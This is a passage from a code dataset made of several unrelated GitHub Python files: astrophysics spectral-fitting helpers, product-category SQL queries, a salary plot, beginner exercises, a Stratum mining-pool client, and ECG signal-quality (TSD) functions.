W, instr):\n MASK = np.load(spec_path + 'mask/{0}_{1}_mask.npy'.format(field, galaxy_id),allow_pickle=True)\n \n IDT = np.repeat(True, len(W))\n\n for m in MASK:\n for i in range(len(W)):\n if m[0] < W[i] < m[1]:\n IDT[i] = False\n return IDT\n\ndef Calzetti_low(Av,lam):\n lam = lam * 1E-4\n Rv=4.05\n k = 2.659*(-2.156 +1.509/(lam) -0.198/(lam**2) +0.011/(lam**3)) + Rv\n cal = 10**(-0.4*k*Av/Rv)\n return cal\n\ndef Calzetti_hi(Av,lam):\n lam = lam * 1E-4\n Rv=4.05\n k = 2.659*(-1.857 +1.04/(lam)) + Rv\n cal = 10**(-0.4*k*Av/Rv) \n \n return cal\n\ndef Calzetti(Av,lam):\n dust = Calzetti_low(Av,lam)\n dust2 = Calzetti_hi(Av,lam)\n \n for ii in range(len(dust)):\n if lam[ii] > 6300:\n dust[ii]=dust2[ii] \n \n return dust\n \ndef Salmon_low(Av,lam):\n lam = lam * 1E-4\n lamv = 5510 * 1E-4\n Rv=4.05\n delta = 0.62 * np.log10(Av/Rv) + 0.26\n k = 2.659*(-2.156 +1.509/(lam) -0.198/(lam**2) +0.011/(lam**3)) + Rv\n sal = 10**(-0.4*k*(lam / lamv)**(delta)*Av/Rv)\n return sal\n\ndef Salmon_hi(Av,lam):\n lam = lam * 1E-4\n lamv = 5510 * 1E-4\n Rv=4.05\n delta = 0.62 * np.log10(Av/Rv) + 0.26\n k = 2.659*(-1.857 +1.04/(lam)) + Rv\n sal = 10**(-0.4*k*(lam / lamv)**(delta)*Av/Rv) \n return sal\n\ndef Salmon(Av,lam):\n dust = Salmon_low(Av,lam)\n dust2 = Salmon_hi(Av,lam)\n \n for ii in range(len(dust)):\n if lam[ii] > 6300:\n dust[ii]=dust2[ii] \n if Av == 0:\n dust = np.ones(len(dust))\n return dust\n \ndef Chi_Squared(data, model, error):\n return np.sum(((data-model) / error)**2)\n\ndef L_nu_per_M(l_aa, lam, z, Av, m_star):\n c = 3E18 # speed of light in angstrom\n lam_0 = lam / (1 + z) # restframe wavelenth in angstrom\n dust = 10**(-0.4*Av)\n return ((lam_0**2)/(c * m_star)) * l_aa * dust * 3.839E33\n\ndef F_nu_per_M(l_aa, lam, z, Av, m_star):\n conv = 3.086E24 # conversion of Mpc to cm\n D_l = cosmo.luminosity_distance(z).value # in Mpc\n return (1 + z) * L_nu_per_M(l_aa, lam, z, Av, m_star) / (4 * np.pi * (D_l*conv)**2)\n\ndef F_lam_per_M(l_aa, lam, z, Av, m_star):\n c = 3E18 # speed of light in angstrom\n return (c / lam**2) * F_nu_per_M(l_aa, lam, z, Av, m_star)\n\ndef Get_mass(gwv, gfl, ger, Z, t, z, Av):\n sp = fsps.StellarPopulation(imf_type = 0, tpagb_norm_type = 0, zcontinuous = 1, logzsol = np.log10(Z/0.019), \n sfh = 4, tau = 0.6, dust_type = 1)\n \n wave,flux=np.array(sp.get_spectrum(tage=t,peraa=True))\n \n fl_m = F_lam_per_M(flux, wave * (1 + z), z, Av, sp.stellar_mass)\n \n IDX = [U for U in range(len(gwv)) if 8000 < gwv[U] < 11300]\n return np.log10(Scale_model(gfl[IDX],ger[IDX],interp1d(wv,fl_m)(gwv[IDX])))\n\ndef load_spec_SF(field, galaxy_id, instr, lims, specz, grism = True, mask = True, setup = False):\n # if loading photometry FLT stands in for num\n bfilters = [34, 36, 37, 58, 117, 118, 195, 196, 220, 224]\n\n if grism:\n W, F, E, FLT, L, C = np.load(spec_path + '{0}_{1}_{2}.npy'.format(field, galaxy_id, instr),allow_pickle=True)\n \n IDX = [U for U in range(len(W)) if lims[0] <= W[U] <= lims[-1] and F[U]**2 > 0]\n\n W = np.array(W[IDX])\n WRF = np.array(W / (1 + specz))\n FLT = np.array(FLT[IDX])\n F = np.array(F[IDX]) \n E = np.array(E[IDX]) \n L = np.array(L[IDX]) \n C = np.array(C[IDX]) \n \n if mask and not setup:\n IDT = get_mask(field, galaxy_id, W, instr)\n return W[IDT], WRF[IDT], F[IDT], E[IDT], FLT[IDT], np.array(IDX)[IDT], L[IDT], C[IDT]\n \n else:\n return W, WRF, F, E, FLT, np.array(IDX), L, C\n\n else:\n W, F, E, FLT = np.load(phot_path + '{0}_{1}_{2}.npy'.format(field, galaxy_id, instr),allow_pickle=True)\n \n WRF = W / (1 + specz)\n \n IDX = []\n \n for i in range(len(FLT)):\n if FLT[i] not in bfilters and F[i] / E[i] > 0.5:\n IDX.append(i)\n \n W, WRF, F, E, FLT = W[IDX], WRF[IDX], F[IDX], E[IDX], FLT[IDX]\n \n W, WRF, F, E, FLT = W[F > 0], WRF[F > 0], F[F > 0], E[F > 0], FLT[F > 0]\n \n return W, WRF, F, E, FLT\n \n \ndef load_spec_SF_2(field, galaxy_id, instr, lims, specz, grism = True, mask = True):\n # if loading photometry FLT stands in for num\n bfilters = [34, 36, 37, 58, 117, 118, 195, 196, 220, 224]\n\n if grism:\n W, F, E, FLT, L, C = np.load('../CLEAR_show_and_tell/{0}_{1}_{2}.npy'.format(field, galaxy_id, instr),allow_pickle=True)\n \n IDX = [U for U in range(len(W)) if lims[0] <= W[U] <= lims[-1] and F[U]**2 > 0]\n\n W = np.array(W[IDX])\n WRF = np.array(W / (1 + specz))\n FLT = np.array(FLT[IDX])\n F = np.array(F[IDX]) \n E = np.array(E[IDX]) \n L = np.array(L[IDX]) \n C = np.array(C[IDX]) \n \n if mask:\n IDT = get_mask(field, galaxy_id, W, instr)\n return W[IDT], WRF[IDT], F[IDT], E[IDT], FLT[IDT], np.array(IDX)[IDT], L[IDT], C[IDT]\n \n else:\n return W, WRF, F, E, FLT, np.array(IDX), L, C\n\n else:\n W, F, E, FLT = np.load('../CLEAR_show_and_tell/{0}_{1}_{2}.npy'.format(field, galaxy_id, instr),allow_pickle=True)\n \n WRF = W / (1 + specz)\n \n IDX = []\n \n for i in range(len(FLT)):\n if FLT[i] not in bfilters and F[i] / E[i] > 0.5:\n IDX.append(i)\n \n W, WRF, F, E, FLT = W[IDX], WRF[IDX], F[IDX], E[IDX], FLT[IDX]\n \n W, WRF, F, E, FLT = W[F > 0], WRF[F > 0], F[F > 0], E[F > 0], FLT[F > 0]\n \n return W, WRF, F, E, FLT","repo_name":"Vince-ec/UDS_fits","sub_path":"sim_engine.py","file_name":"sim_engine.py","file_ext":"py","file_size_in_byte":17833,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"52711752","text":"\"\"\"\n**********************************************************************************************\n\nAll the sql commands for fetching product categories.\n\n**********************************************************************************************\n\"\"\"\n\nfrom __future__ import annotations\nimport pymysql.commands as sql_engine\nfrom pymysql.structs import DbOperationResult\n\n\nSQL_SELECT_ALL = '''\n SELECT \n *\n FROM\n All_Categories;\n'''\n\n\nSQL_SELECT_ALL_MAJORS = '''\n SELECT\n major.id AS id,\n major.name AS name\n FROM\n Product_Categories_Major major\n ORDER BY\n major.name ASC;\n'''\n\nSQL_SELECT_MAJOR = '''\n SELECT\n major.id AS id,\n major.name AS name\n FROM\n Product_Categories_Major major\n WHERE\n major.id = %s\n LIMIT\n 1;\n'''\n\nSQL_SELECT_ALL_MINORS = '''\n SELECT\n minor.id AS id,\n minor.product_categories_major_id AS product_categories_major_id,\n minor.name AS name\n FROM\n Product_Categories_Minor minor\n WHERE\n minor.product_categories_major_id = %s\n GROUP BY\n minor.id\n ORDER BY\n minor.name ASC;\n'''\n\nSQL_SELECT_MINOR = '''\n SELECT\n minor.id AS id,\n minor.product_categories_major_id AS product_categories_major_id,\n minor.name AS name\n FROM\n Product_Categories_Minor minor\n WHERE\n minor.id = %s\n LIMIT\n 1;\n'''\n\nSQL_SELECT_ALL_SUBS = '''\n SELECT\n s.id AS id,\n s.product_categories_minor_id AS product_categories_minor_id,\n s.name AS name\n FROM\n Product_Categories_Sub s\n WHERE\n s.product_categories_minor_id = %s\n GROUP BY\n s.id\n ORDER BY\n s.name ASC;\n'''\n\nSQL_SELECT_SUB = '''\n SELECT\n s.id AS id,\n s.product_categories_minor_id AS product_categories_minor_id,\n s.name AS name\n FROM\n Product_Categories_Sub s\n WHERE\n s.id = %s\n LIMIT\n 1;\n'''\n\n\n\n#------------------------------------------------------\n# Get all the product categories\n#------------------------------------------------------\ndef selectAll() -> DbOperationResult:\n return sql_engine.selectAll(SQL_SELECT_ALL)\n\n\n#------------------------------------------------------\n# Retrieve all major categories\n#------------------------------------------------------\ndef selectMajors() -> DbOperationResult:\n return sql_engine.selectAll(SQL_SELECT_ALL_MAJORS)\n\n#------------------------------------------------------\n# Retrieve a single major category\n#------------------------------------------------------\ndef selectMajor(major_category_id) -> DbOperationResult:\n parms = (major_category_id,)\n return sql_engine.select(SQL_SELECT_MAJOR, parms)\n\n#------------------------------------------------------\n# Retrieve all minor categories under the given major id\n#------------------------------------------------------\ndef selectMinors(parent_category_id) -> DbOperationResult:\n parms = (parent_category_id,)\n return sql_engine.selectAll(SQL_SELECT_ALL_MINORS, parms)\n\n#------------------------------------------------------\n# Retrieve a single minor category\n#------------------------------------------------------\ndef selectMinor(minor_category_id) -> DbOperationResult:\n parms = (minor_category_id,)\n return sql_engine.select(SQL_SELECT_MINOR, parms)\n\n#------------------------------------------------------\n# Retrieve all major categories\n#------------------------------------------------------\ndef selectSubs(parent_category_id) -> DbOperationResult:\n parms = (parent_category_id,)\n return sql_engine.selectAll(SQL_SELECT_ALL_SUBS, parms)\n\n#------------------------------------------------------\n# Retrieve a single sub category\n#------------------------------------------------------\ndef selectSub(sub_category_id) -> DbOperationResult:\n parms = (sub_category_id,)\n return sql_engine.select(SQL_SELECT_SUB, parms)\n\n\n","repo_name":"wmiys/api.alpha","sub_path":"src/api_wmiys/repository/product_categories.py","file_name":"product_categories.py","file_ext":"py","file_size_in_byte":3957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"69946316644","text":"import numpy as np\nfrom cProfile import label\nfrom turtle import color\nfrom matplotlib import pyplot as plt\n\n\n# print(plt.style.available)\n\nplt.style.use('ggplot')\n\n\nages_x = [25, 26, 27, 28, 29, 30, 31, 32, 33, 34]\n\ndev_y = [38496, 42000, 46752, 49320, 53200, 56000, 62316, 64928, 68748, 73752]\n\nplt.plot(ages_x, dev_y, color='k', linestyle='--', marker='.', label='All Devs')\n# plt.bar(ages_x, dev_y, color='k', label='All Devs')\n\n\npy_dev_y = [45372, 48876, 53850, 57287, 63016, 65998, 70003, 70000, 71496, 75370]\n\nplt.plot(ages_x, py_dev_y, label='Python')\n\n\njs_dev_y = [37810, 43515, 46823, 49293, 53437, 56373, 62375, 66674, 68745, 68746]\n\nplt.plot(ages_x, js_dev_y, label='Javascript')\n# plt.bar(ages_x, js_dev_y, label='Javascript')\n\n\nplt.xlabel('Ages')\nplt.ylabel('Median Salary(USD)')\n\nplt.title('Median Salary (USD) by Age')\n\nplt.legend()\n\n# plt.grid(True)\nplt.tight_layout()\n\nplt.savefig('plot.png')\n\nplt.show()\n\n\n\n# ['Solarize_Light2', '_classic_test_patch', \n# '_mpl-gallery', '_mpl-gallery-nogrid', 'bmh', \n# 'classic', 'dark_background', 'fast', 'fivethirtyeight', \n# 'ggplot', 'grayscale', 'seaborn', 'seaborn-bright',\n# 'seaborn-colorblind', 'seaborn-dark', 'seaborn-dark-palette', \n# 'seaborn-darkgrid', 'seaborn-deep', 'seaborn-muted', \n# 'seaborn-notebook', 'seaborn-paper', 'seaborn-pastel', \n# 'seaborn-poster', 'seaborn-talk', 'seaborn-ticks', 'seaborn-white', \n# 'seaborn-whitegrid', 'tableau-colorblind10']","repo_name":"Abdifatahibrahi/matplotlib-project","sub_path":"matplot.py","file_name":"matplot.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"16395895522","text":"'''Crie um programa que leia nome, ano de nascimento e carteira de trabalho e cadastre os(com idade) em um dicionário, se por acaso a CTPS for diferente de ZERO, o dicionário rebeberá também o ano de contratação e o salário. Calcule e acrescente alem da idade, com quantos anos a pessoa vai se aposentar'''\nfrom datetime import date\nano = date.today().year\nRegistro = {}\nRegistro['Nome'] = input('Nome: ')\nNascimento = int(input('Ano de Nascimento: '))\nRegistro['Nascimento'] = ano - Nascimento\nRegistro['CTPS'] = int(input('Carteira de Trabalho (0 = não tem): '))\nif Registro['CTPS'] != 0:\n Registro['Salário'] = float(input('Salário: '))\n Registro['Contratação'] = int(input('Ano de contratação: '))\n for v, k in Registro.items():\n print(f'{v} tem o valor: {k}')\n print(f'Idade de aposentadoria é: {Registro[\"Contratação\"] - Nascimento + 35} anos')\nelse:\n for v, k in Registro.items():\n print(f'{v} tem o valor: {k}')\n","repo_name":"Thiago-Mauricio/Curso-de-python","sub_path":"Curso em Video/Aula19 Dicionários/Ex_092 Cadastro de Trabalhador.py","file_name":"Ex_092 Cadastro de Trabalhador.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"20530234615","text":"# 102. Binary Tree Level Order Traversal\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def levelOrder(self, root: Optional[TreeNode]) -> List[List[int]]:\n # bfs\n if not root:\n return []\n res = []\n queue = deque([root])\n\n while queue:\n size = len(queue)\n inner = []\n for i in range(size):\n curr = queue.popleft()\n\n if curr.left:\n queue.append(curr.left)\n if curr.right:\n queue.append(curr.right)\n\n inner.append(curr.val)\n res.append(inner)\n\n return res","repo_name":"zerobcpp/Code-practices","sub_path":"102.py","file_name":"102.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"1803535997","text":"#Exercice 1 : Utiliser Le Terminal\n#Exécution de la commande python réalisé\n#C'est le PATH qui permet d'appeler la commande python car il récupère automatiquement le repertoire dans lequel il est logué\n\n\n#Exercice 2 : Alias\n#Exercice 2 réalisé avec succès. py ouvre aussi la console python\n\n\n#Exercice 3 : Sorties prédictions\nfrom re import A\n\n\n3 <= 3 < 9 #True\n3 == 3 == 3 #True\nbool(0) #False\nbool(5 == \"5\") #False\nbool(4 == 4) == bool(\"4\" == \"4\") #True\nbool(bool(None)) #False\nx = (1 == True)\ny = (1 == False)\na = True + 4\nb = False + 10\nprint(\"x is\", x) #x is True\nprint(\"y is\", y) #y is False\nprint(\"a:\", a) #5\nprint(\"b:\", b) #10\n\n\n#Exercice 4 : Combien De Caractères Dans Une Phrase ?\nmy_text = \"Lorem ipsum dolor sit amet, consectetur adipiscing elit sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. \"\ntaille=len(my_text) \nprint(taille)\n\n#Exercice 5 : Mot Le Plus Long Sans Caractère Spécifique\nchaine=input(\"entrer une phrase svp==>\")\nchaine1=chaine\nwhile('i' in chaine):\n chaine=input(\"entrer à nouveau une phrase svp==>\")\nif (len(chaine) > len(chaine1)):\n print(\"Toutes mes félicitations \")\n\n\n \n\n\n \n","repo_name":"AbdoulSAWADOGO/Full_Stack_Coding_Bootcamp_Python_Full_Time","sub_path":"Week_4/Day_1/Exercice_XP_Ninja/Exercice_XP_Ninja.py","file_name":"Exercice_XP_Ninja.py","file_ext":"py","file_size_in_byte":1298,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"27579729314","text":"import socket\nfrom stratumStructs import *\nimport sys\nimport json\nimport errno\nimport select\n\n#since I'm playing with sockets and select, I'm not sure this code works on windows\n#the logging is shit, no time for that now\n\ndef connectToServer(uri,port):\n sock = None\n try:\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)\n sock.connect((uri,port))\n sock.setblocking(False)\n except Exception as e:\n raise Exception(\"can't connect, reason: \" + str(e))\n return sock\n\n#should be done with select for correctness, but for my app now is oke\ndef sendToServer(sock,jsonMex):\n try:\n sock.sendall(jsonMex.encode())\n except Exception as e:\n raise Exception(\"Error while sending \" + str(jsonMex) + \"reason: \" + str(e))\n\nclass StratumClientTalker:\n uri = None\n port = None\n sock = None\n sid = 2 \n difficulty = 1\n extranonce1 = None\n extranonce2_size = None\n\n def launchTalker(self,uri,port,solutionSubmitQueue,newWorkQueue,addWorkerQueue,responseQueue,errorQueue):\n sys.stdout.flush()\n self.uri = uri\n self.port = port\n self.errorQueue = errorQueue\n self.responseQueue = responseQueue\n self.solutionSubmitQueue = solutionSubmitQueue\n self.newWorkQueue = newWorkQueue\n self.addWorkerQueue = addWorkerQueue\n self.sock = connectToServer(uri,port)\n \n #initialization communication with the server\n sendToServer(self.sock,\"\"\"{\"id\":1, \"method\": \"mining.subscribe\", \"params\": []}\\n\"\"\")\n\n waitingResultsList = []\n response = \"\"\n while True:\n #not paying attention to writing IO rigth now\n ready_read, _, _= select.select([self.solutionSubmitQueue._reader, self.addWorkerQueue._reader, self.sock],[],[])\n\n #received something from the server\n if self.sock in ready_read:\n try:\n repl = self.sock.recv(1).decode()\n if repl == \"\":\n self.sock.close\n print(\"connection closed by peer\")\n errorQueue.put(1)\n sys.stdout.flush()\n sys.exit(1)\n sys.stdout.flush()\n response += repl\n except socket.error as e:\n raise Exception(\"error while receiving, reason: \" + str(e))\n #a full message from the server arrived, we better check what he has to say\n if \"\\n\" in response:\n message = json.loads(response)\n print(\"full message received: \" + response)\n sys.stdout.flush()\n response = \"\"\n if 'method' in message:\n if message[\"method\"] == 'mining.notify':\n par = message[\"params\"]\n blk = StratumBlockTemplate(self.extranonce1, self.extranonce2_size, self.difficulty, par[0],par[1],par[2],par[3],par[4],par[5],par[6],par[7])\n self.newWorkQueue.put(blk)\n elif message[\"method\"] == \"mining.set_difficulty\":\n self.difficulty = message[\"params\"][0]\n\n elif 'result' in message:\n #only for the first response, it s needed for initialization\n if message[\"id\"] == 1:\n self.extranonce1 = message[\"result\"][1]\n self.extranonce2_size = message[\"result\"][2]\n sys.stdout.flush()\n continue\n tmpId = message[\"id\"]\n result = message[\"result\"]\n error = message[\"error\"]\n #too lazy to properly check \n filtered = list(filter(lambda x: (x.sid == tmpId), waitingResultsList))[0]\n waitingResultsList.remove(filtered)\n filtered.result = result\n filtered.reason = error\n self.responseQueue.put(filtered)\n\n #submit solution method esposed to master\n if self.solutionSubmitQueue._reader in ready_read:\n solution = self.solutionSubmitQueue.get()\n submit = '{\"params\":[\"' + solution.user + '\", \"' + solution.job_id + '\", \"' + solution.extranonce2 + '\", \"' + solution.ntime + '\", \"' + solution.nonce + '\"], \"id\":' + str(self.sid) + ', \"method\":\"mining.submit\"}\\n'\n waitingResultsList.append(ServerResponse(self.sid,\"solutionSubmit\",solution.user + \" \" + solution.job_id, None,None))\n sendToServer(self.sock,submit)\n self.sid = self.sid + 1\n sys.stdout.flush()\n\n\n #addWorker method esposed to master\n if self.addWorkerQueue._reader in ready_read:\n worker = self.addWorkerQueue.get(block=False,timeout=None)\n jsonWorker = '{\"params\": [\"' + worker.user + '\", \"' + worker.password + '\"], \"id\":' + str(self.sid) + ', \"method\": \"mining.authorize\"}\\n'\n waitingResultsList.append(ServerResponse(self.sid,\"addWorker\",worker.user, None,None))\n sendToServer(self.sock,jsonWorker)\n self.sid = self.sid + 1\n sys.stdout.flush()\n \n\n","repo_name":"Eimitfi/StratumV1ClientComponent","sub_path":"stratumClientComponent.py","file_name":"stratumClientComponent.py","file_ext":"py","file_size_in_byte":5486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"2048713269","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport os\nimport desolver.backend as D\nfrom math import isnan\nfrom numba import njit,prange\n\n\ndef system_coordinates_reader(Path_to_data, Attractor_name, num_attractor=0):\n path = Path_to_data + f\"/{Attractor_name}_attractors\"\n df = pd.read_csv(path + f\"/{Attractor_name}__{num_attractor}.csv\")\n df_n = df.to_numpy()\n xyzs = df_n[:, 1:4]\n t = df_n[:, 0]\n return xyzs, t\n\n\n@njit\ndef taux_Mean_fast(signal, taux, hprime, h=0):\n return np.mean((signal[int(h + taux) : int(taux + hprime + h)]))\n\n@njit\ndef taux_var_fast(signal, taux, hprime, h=0):\n return np.var(signal[int(h + taux) : int(taux + hprime + h)])\n\n@njit(parallel = True)\n\ndef adapted_c(c_val,fs,h,hprime,signal):\n for l in c_val:\n if (\n l * fs + hprime * len(signal) + h * len(signal) > len(signal)\n and l * fs + h * len(signal) > len(signal) - 1\n ):\n c = c_val[c_val < l]\n break\n return c\n\n\n@njit\ndef I1(c, signal, fs, h, hprime, step_c, t0=0):\n tab = np.zeros_like(c)\n for count in range(len(tab)):\n if count ==0:\n I1c = (\n (1 / (h * len(signal)))\n * step_c\n * np.abs(\n taux_Mean_fast(signal, t0 * fs, hprime * len(signal), h * len(signal))\n - taux_Mean_fast(signal, t0 * fs, hprime * len(signal))\n )\n )\n tab[count] = I1c\n else :\n I1c = tab[count-1]\n I1c = I1c + (\n (1 / (h * len(signal)))\n * step_c\n * np.abs(\n taux_Mean_fast(signal, t0 * fs, hprime * len(signal), h * len(signal))\n - taux_Mean_fast(signal, t0 * fs, hprime * len(signal))\n )\n )\n tab[count] = I1c\n return tab[:-1]\n\n@njit\ndef I2(c, signal, fs, h, hprime, step_c, t0=0):\n tab = np.zeros_like(c)\n for count in range(len(tab)):\n if count ==0:\n I1c = (\n (1 / (h * len(signal)))\n * step_c\n * np.abs(\n taux_var_fast(signal, t0 * fs, hprime * len(signal), h * len(signal))\n - taux_var_fast(signal, t0 * fs, hprime * len(signal))\n )\n )\n tab[count] = I1c\n else :\n I1c = tab[count-1]\n I1c = I1c + (\n (1 / (h * len(signal)))\n * step_c\n * np.abs(\n taux_var_fast(signal, t0 * fs, hprime * len(signal), h * len(signal))\n - taux_var_fast(signal, t0 * fs, hprime * len(signal))\n )\n )\n tab[count] = I1c\n return tab[:-1]\n\n\n@njit\ndef discrepancies_mean_curve(signal_tot, fs, h, hprime,t0 = 0):\n c1 = np.linspace(t0, int((len(signal_tot) / fs) + t0), len(signal_tot))\n c_adapted = adapted_c(c1,fs,h,hprime,signal_tot)\n I1_t = I1(c_adapted, signal_tot, fs, h, hprime, 1/fs, t0)\n I2_t = I2(c_adapted, signal_tot, fs, h, hprime, 1/fs, t0)\n return I1_t, I2_t, c_adapted\n\n@njit\ndef Interval_calculator_lead(signal, fs, t0=0):\n h = 0.001\n hprime = 0.005\n I1c,I2c,c = discrepancies_mean_curve(signal,fs,h,hprime)\n c1 = c[np.where(I1c < 0.5)]#np.max(I1c)/2\n c2 = c[np.where(I2c < 1.25)]\n if np.isnan(c1).any():\n c1 = c1[~np.isnan(c1)]\n elif np.isnan(c2).any():\n c2 = c2[~np.isnan(c2)]\n if len(c1) == 0:\n cs = c2[-1]\n elif len(c2) == 0:\n cs = c1[-1]\n elif len(c1) == 0 and len(c2) == 0:\n cs = 0.2\n else :\n cs = np.minimum(c1[-1], c2[-1])\n dic_segment_lead = (cs - t0) * fs\n #if dic_segment_lead <100 :\n #dic_segment_lead = 100\n return dic_segment_lead\n\n\ndef Interval_calculator_all(dico_signal, name_signal, fs):\n dic_segment_lead = {}\n for i in name_signal:\n dic_segment_lead[i] = Interval_calculator_lead(dico_signal[i], fs)\n return dic_segment_lead\n\ndef is_segment_flatline(sig):\n cond = np.where(np.diff(sig.copy(),1) != 0.0, False, True)\n if len(cond[cond == True]) < 0.50 * len(sig):\n return False\n return True\n\n\ndef TSD_index_solo(dico_signal, name_lead, fs):\n\n ###Index Creation :TSD\n ###The label will be as follow : mean(TSD) < 1.25 = Acceptable;mean(SDR of all lead) >1.25 = Unacceptable\n ##For each lead, we will return a more precise classification based on the folloying rules:\n ## TSD<1.25 = Good quality ; 1.251.4 = Bad quality\n # dico_seg = Interval_calculator(dico_signal,name_lead,fs,t0)\n dico_D = {}\n D_arr = np.array([])\n #dic_segment = Interval_calculator_all(dico_signal,name_lead,fs)\n #dic_segment = 2500\n for i in name_lead:\n Dv, _ = TSD_mean_calculator(dico_signal[i],100,fs)\n if Dv<1:\n Dv = 1\n dico_D[i] = (Dv, dico_signal[i])\n D_arr = np.append(D_arr, Dv)\n return dico_D, np.mean(D_arr)\n\ndef TSD_index(signals, fs,**norm):\n\n ###Index Creation :TSD\n ###The label will be as follow : mean(TSD) < 1.25 = Acceptable;mean(SDR of all lead) >1.25 = Unacceptable\n ##For each lead, we will return a more precise classification based on the folloying rules:\n ## TSD<1.25 = Good quality ; 1.251.4 = Bad quality\n # dico_seg = Interval_calculator(dico_signal,name_lead,fs,t0)\n D_arr = np.array([])\n #dic_segment = Interval_calculator_all(dico_signal,name_lead,fs)\n #dic_segment = 2500\n for i in range(signals.shape[0]):\n Dv,_ = TSD_mean_calculator(signals[i,:],100,fs)\n\n if Dv<1: ##Reason : Since we use an Approximation of Fractal index, we can have some bad approximation and thus have values outside predefined range\n Dv = 1\n\n\n if norm.get(\"normalization\") == True:\n D_arr = np.append(D_arr, (2-Dv))\n else :\n D_arr = np.append(D_arr, Dv)\n return D_arr\n\ndef TSD_index_dico(dico_signal, name_lead, fs):\n\n ###Index Creation :TSD\n ###The label will be as follow : mean(TSD) < 1.25 = Acceptable;mean(SDR of all lead) >1.25 = Unacceptable\n ##For each lead, we will return a more precise classification based on the folloying rules:\n ## TSD<1.25 = Good quality ; 1.251.4 = Bad quality\n # dico_seg = Interval_calculator(dico_signal,name_lead,fs,t0)\n dico_D = {}\n D_arr = np.array([])\n #dic_segment = Interval_calculator_all(dico_signal,name_lead,fs)\n #dic_segment = 2500\n for i in name_lead:\n Dv,_ = TSD_mean_calculator(dico_signal[i],100,fs)\n if Dv<1:\n Dv = 1\n dico_D[i] = (Dv, dico_signal[i])\n D_arr = np.append(D_arr, Dv)\n return dico_D, np.mean(D_arr)\n\ndef TSD_index_lead(signal, segment,fs):\n\n ###Index Creation :TSD for 1 lead\n ###The label will be as follow : mean(TSD) < 1.25 = Acceptable;mean(SDR of all lead) >1.25 = Unacceptable\n ##For each lead, we will return a more precise classification based on the folloying rules:\n ## TSD<1.25 = Good quality ; 1.251.4 = Bad quality\n # dico_seg = Interval_calculator(dico_signal,name_lead,fs,t0)\n Dv, _ = TSD_mean_calculator(signal, segment,fs)\n return Dv\n\n@njit\ndef Lm_q(signal1, m, k, fs):\n N = len(signal1)\n n = np.floor((N - m) / k)\n norm = (N - 1) / (n * k * (1 / fs))\n #sum = np.sum(np.abs(np.diff(signal1[m::k], n=1)))\n sum1 = 0\n for i in range(1,n):\n sum1 = sum1 + np.absolute(signal1[m+i*k]-signal1[m+(i-1)*k])\n Lmq = (sum1 * norm) / k\n return Lmq\n@njit\ndef Lq_k(signal, k, fs):\n #calc_L_series = np.frompyfunc(lambda m: Lm_q(signal, m, k, fs), 1, 1)\n calc_L_series = np.zeros(k)\n for m in range(1,k+1):\n calc_L_series[m-1] = Lm_q(signal,m,k,fs)\n L_average = np.mean(calc_L_series)\n return L_average\n\n\ndef Dq(signal, kmax, fs):\n calc_L_average_series = np.frompyfunc(lambda k: Lq_k(signal, k, fs), 1, 1)\n\n k = np.arange(1, kmax + 1)\n L = calc_L_average_series(k).astype(np.float64)\n\n D_t, _ = -1*np.polyfit(np.log2(k), np.log2(L), 1)\n\n return D_t\n\n\ndef TSD_plot(dico_lead, name_lead, fs):\n\n D_lead = {}\n for i in name_lead:\n sig = dico_lead[i]\n segment_length = 100\n X = np.c_[[sig[int((w - 1)) : int((w) + segment_length)] for w in range(1, int(len(sig) - segment_length))]]\n L1 = np.array([Lq_k(X[i, :], 1, fs) for i in range(X.shape[0])])\n L2 = np.array([Lq_k(X[i, :], 2, fs) for i in range(X.shape[0])])\n Ds = (np.log(L1) - np.log(L2)) / (np.log(2))\n D_lead[i] = Ds\n\n for i in name_lead:\n plt.figure()\n _, ax = plt.subplots(nrows=2, ncols=1, figsize=(15, 15))\n w_length = range(len(D_lead[i]))\n ax[0].plot(w_length, D_lead[i], label=i)\n ax[0].set_title(f\"TSD time Evolution of Lead {i.decode('utf8')}\")\n ax[0].set_xlabel(\"Segment number\")\n ax[0].set_ylabel(\"TSD value\")\n ax[0].grid()\n ax[1].plot(np.linspace(0, int(len(dico_lead[i]) / fs), len(dico_lead[i])), dico_lead[i], label=i)\n ax[1].set_title(f\"Lead {i.decode('utf8')}\")\n ax[1].set_xlabel(\"Time (sec)\")\n ax[1].set_ylabel(\"Voltage Amplitude\")\n ax[1].grid()\n plt.show()\n\n@njit\ndef TSD_mean_calculator(signal2,segment_length,fs):\n Ds = np.zeros(int(len(signal2)-segment_length)-1)\n for w in range(1,int(len(signal2)-segment_length)):\n sig_true = signal2[int((w - 1)): int((w)+segment_length)]\n L1 = Lq_k(sig_true, 1, fs)\n L2 = Lq_k(sig_true,2,fs)\n Ds[w-1] = (np.log(L1) - np.log(L2)) / (np.log(2))\n ##Thresholding necessary since we use an approximation of the Higuchi method\n if Ds[w-1] >2 or np.isnan(Ds[w-1]):\n Ds[w-1] = 2\n elif Ds[w-1] <1:\n Ds[w-1] = 1\n return np.mean(Ds[~np.isnan(Ds)]), np.std(Ds[~np.isnan(Ds)])\n\n@njit\ndef TSD_calculator(signal2,segment_length,fs):\n Ds = np.zeros(int(len(signal2)-segment_length)-1)\n for w in range(1,int(len(signal2)-segment_length)):\n sig_true = signal2[int((w - 1)): int((w)+segment_length)]\n L1 = 